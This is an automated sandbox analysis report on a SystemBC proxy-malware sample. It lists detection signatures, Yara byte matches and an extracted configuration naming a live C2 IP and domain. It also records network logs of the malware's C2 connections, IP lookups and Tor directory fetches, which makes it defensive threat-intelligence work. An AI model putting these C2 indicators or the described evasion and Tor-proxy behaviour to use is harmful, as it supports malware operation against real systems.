Edit tour

Windows Analysis Report
R53a3ZJHBQ.exe

Overview

General Information

Sample Name:	R53a3ZJHBQ.exe
Original Sample Name:	cc4f80bbbd81cf14599c74e9f8e970ac.exe
Analysis ID:	839437
MD5:	cc4f80bbbd81cf14599c74e9f8e970ac
SHA1:	c73b8e764bd16cc885143dee674a18ac98a1199c
SHA256:	1dc9a3c5d28e2e20b5bbbfd229a356ec88364280fa19ecdf0882a9533e7de3b3
Tags:	exeSystemBC
Infos:

Detection

SystemBC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Detected unpacking (overwrites its own PE header)

Antivirus / Scanner detection for submitted sample

Yara detected SystemBC

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Found evasive API chain (may stop execution after checking mutex)

Uses known network protocols on non-standard ports

Machine Learning detection for sample

May check the online IP address of the machine

Tries to detect virtualization through RDTSC time measurements

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

May use the Tor software to hide its network traffic

Uses 32bit PE files

Found decision node followed by non-executed suspicious APIs

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Drops PE files to the application program directory (C:\ProgramData)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

PE file contains sections with non-standard names

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

Creates job files (autostart)

JA3 SSL client fingerprint seen in connection with other malware

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

AV process strings found (often used to terminate AV products)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Found evasive API chain checking for process token information

Detected TCP or UDP traffic on non-standard ports

Contains functionality to launch a program with higher privileges

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

R53a3ZJHBQ.exe (PID: 3736 cmdline: C:\Users\user\Desktop\R53a3ZJHBQ.exe MD5: CC4F80BBBD81CF14599C74E9F8E970AC)

kdnku.exe (PID: 6584 cmdline: C:\ProgramData\micl\kdnku.exe start MD5: CC4F80BBBD81CF14599C74E9F8E970AC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SystemBC	SystemBC is a proxy malware leveraging SOCKS5. Based on screenshots used in ads on a underground marketplace, Proofpoint decided to call it SystemBC.SystemBC has been observed occasionally, but more pronounced since June 2019. First samples goes back to October 2018.	No Attribution	https://asec.ahnlab.com/en/33600/ https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://community.riskiq.com/article/47766fbd https://isc.sans.edu/forums/diary/Excel+spreadsheets+push+SystemBC+malware/27060/	https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc

Malware Configuration

Threatname: SystemBC

{"HOST1": "89.203.249.203", "HOST2": "gamelom20.com", "PORT1": "4035"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.306345047.00000000035B2000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1088:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000003.303984994.0000000003410000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000001.00000002.567124070.000000000362E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1040:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000001.00000002.567016647.0000000003580000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000001.00000002.567016647.0000000003580000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000001.00000002.566647965.0000000000400000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000001.00000003.308524490.0000000003590000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
Process Memory Space: R53a3ZJHBQ.exe PID: 3736	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.kdnku.exe.3580e50.1.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0.3.R53a3ZJHBQ.exe.3410000.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0.2.R53a3ZJHBQ.exe.33f0e50.1.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
1.2.kdnku.exe.400000.0.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
1.3.kdnku.exe.3590000.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0.2.R53a3ZJHBQ.exe.400000.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0.2.R53a3ZJHBQ.exe.33f0e50.1.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0.2.R53a3ZJHBQ.exe.400000.0.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
1.2.kdnku.exe.400000.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
1.3.kdnku.exe.3590000.0.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
1.2.kdnku.exe.3580e50.1.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0.3.R53a3ZJHBQ.exe.3410000.0.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
Click to see the 7 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: R53a3ZJHBQ.exe	ReversingLabs: Detection: 87%
Source: R53a3ZJHBQ.exe	Virustotal: Detection: 77%			Perma Link

Antivirus / Scanner detection for submitted sample

Source: R53a3ZJHBQ.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://171.25.193.9/tor/status-vote/current/consensus	Avira URL Cloud: Label: malware
Source: http://193.23.244.244/tor/status-vote/current/consensus	Avira URL Cloud: Label: malware
Source: http://131.188.40.189/tor/status-vote/current/consensus	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: https://171.25.193.9/tor/status-vote/current/consensus

Virustotal: Detection: 9%

Perma Link

Antivirus detection for dropped file

Source: C:\ProgramData\micl\kdnku.exe

Avira: detection malicious, Label: HEUR/AGEN.1224171

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\micl\kdnku.exe

ReversingLabs: Detection: 81%

Machine Learning detection for sample

Source: R53a3ZJHBQ.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\ProgramData\micl\kdnku.exe

Joe Sandbox ML: detected

Source: 1.2.kdnku.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 0.2.R53a3ZJHBQ.exe.33f0e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.R53a3ZJHBQ.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 0.3.R53a3ZJHBQ.exe.3410000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 1.3.kdnku.exe.3590000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 1.2.kdnku.exe.3580e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: 00000000.00000003.303984994.0000000003410000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SystemBC {"HOST1": "89.203.249.203", "HOST2": "gamelom20.com", "PORT1": "4035"}

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: 0_2_00403E6B CryptImportKey,CryptExportKey,CryptDestroyKey,	0_2_00403E6B
Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: 0_2_004045F4 VirtualAlloc,DecryptMessage,	0_2_004045F4
Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: 0_2_00403B91 CryptStringToBinaryA,CryptStringToBinaryA,CryptDecodeObject,	0_2_00403B91
Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: 0_2_004040A0 CryptStringToBinaryA,CryptStringToBinaryA,	0_2_004040A0
Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: 0_2_004011B8 CryptAcquireContextA,CryptStringToBinaryA,CryptStringToBinaryA,inet_addr,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,CryptDecodeObject,CryptStringToBinaryA,CryptStringToBinaryA,wsprintfA,select,select,inet_addr,CryptReleaseContext,	0_2_004011B8
Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: 0_2_00401DBD CryptReleaseContext,	0_2_00401DBD
Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: 0_2_004044BF QueryContextAttributesA,VirtualAlloc,EncryptMessage,	0_2_004044BF
Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: 0_2_033F3DE1 CryptStringToBinaryA,CryptStringToBinaryA,CryptDecodeObject,	0_2_033F3DE1
Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: 0_2_033F200D CryptReleaseContext,	0_2_033F200D
Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: 0_2_033F1408 CryptStringToBinaryA,CryptStringToBinaryA,inet_addr,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,CryptDecodeObject,CryptStringToBinaryA,CryptStringToBinaryA,wsprintfA,select,select,inet_addr,CryptReleaseContext,	0_2_033F1408
Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: 0_2_033F42F0 CryptStringToBinaryA,	0_2_033F42F0

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: -----BEGIN RSA PUBLIC KEY-----		0_2_004040A0
Source: R53a3ZJHBQ.exe	Binary or memory string: -----BEGIN RSA PUBLIC KEY-----

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Unpacked PE file: 0.2.R53a3ZJHBQ.exe.400000.0.unpack
Source: C:\ProgramData\micl\kdnku.exe	Unpacked PE file: 1.2.kdnku.exe.400000.0.unpack

Source: R53a3ZJHBQ.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 173.231.16.76:443 -> 192.168.2.4:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 190.120.229.196:443 -> 192.168.2.4:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.208.197.31:443 -> 192.168.2.4:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.170.197.121:443 -> 192.168.2.4:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.82.126.83:443 -> 192.168.2.4:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.237.62.211:443 -> 192.168.2.4:49721 version: TLS 1.2

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49718

May check the online IP address of the machine

Source: C:\ProgramData\micl\kdnku.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\micl\kdnku.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\micl\kdnku.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\micl\kdnku.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\micl\kdnku.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\micl\kdnku.exe	DNS query: name: api.ipify.org

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 89.203.249.203
Source: Malware configuration extractor	URLs: gamelom20.com

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Joe Sandbox View	IP Address: 171.25.193.9 171.25.193.9
Source: Joe Sandbox View	IP Address: 171.25.193.9 171.25.193.9

Source: global traffic	HTTP traffic detected: GET / HTTP/1.0Host: api.ipify.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET / HTTP/1.0Host: api.ipify.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 171.25.193.9User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 193.23.244.244User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/99d65135d343eb8549b2d46c4ef8ca71c6c91add HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/cf1280a23969a8459625e80ed50cc2c0885ecd72 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/cf1c1804c33cd69d8a75587fabc63d5d0e2980fa HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/cf230d27a28172429123dfee6476d9401e6c6fa8 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/c84f248d3b24655cc96e17b3cf41e0b88d28947e HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/c86c538ef0a24e010342f30dbcacc2a7eb7ca833 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/c873d9d8df3cb6a4f92b07a77193f1a13936477f HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 131.188.40.189User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close

Source: global traffic	TCP traffic: 192.168.2.4:49695 -> 89.203.249.203:4035
Source: global traffic	TCP traffic: 192.168.2.4:49696 -> 34.171.171.32:4035
Source: global traffic	TCP traffic: 192.168.2.4:49704 -> 58.185.69.245:5443
Source: global traffic	TCP traffic: 192.168.2.4:49705 -> 178.79.182.63:9030

Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	TCP traffic detected without corresponding DNS query: 89.203.249.203
Source: unknown	TCP traffic detected without corresponding DNS query: 89.203.249.203
Source: unknown	TCP traffic detected without corresponding DNS query: 89.203.249.203
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 171.25.193.9
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244

Source: kdnku.exe, 00000001.00000003.357716877.0000000004C60000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.565118689.0000000003410000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.351707375.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.357387824.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.348665561.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.354101353.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.356466957.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.489998006.0000000004770000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.349794496.0000000004950000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.346777055.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.345228804.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.349167946.0000000004770000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://386bsd.net
Source: R53a3ZJHBQ.exe, R53a3ZJHBQ.exe, 00000000.00000003.303984994.0000000003410000.00000004.00001000.00020000.00000000.sdmp, R53a3ZJHBQ.exe, 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, R53a3ZJHBQ.exe, 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://api.ipify.org/
Source: R53a3ZJHBQ.exe, 00000000.00000003.303984994.0000000003410000.00000004.00001000.00020000.00000000.sdmp, R53a3ZJHBQ.exe, 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, R53a3ZJHBQ.exe, 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://api.ipify.org/https://ip4.seeip.org/runasMicrosoft
Source: R53a3ZJHBQ.exe, R53a3ZJHBQ.exe, 00000000.00000003.303984994.0000000003410000.00000004.00001000.00020000.00000000.sdmp, R53a3ZJHBQ.exe, 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, R53a3ZJHBQ.exe, 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://ip4.seeip.org/

Source: unknown

DNS traffic detected: queries for: gamelom20.com

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

Code function: 0_2_00404A55 ioctlsocket,connect,connect,select,ioctlsocket,WSAIoctl,select,recv,

0_2_00404A55

Source: global traffic	HTTP traffic detected: GET / HTTP/1.0Host: api.ipify.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET / HTTP/1.0Host: api.ipify.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 171.25.193.9User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 193.23.244.244User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/99d65135d343eb8549b2d46c4ef8ca71c6c91add HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/cf1280a23969a8459625e80ed50cc2c0885ecd72 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
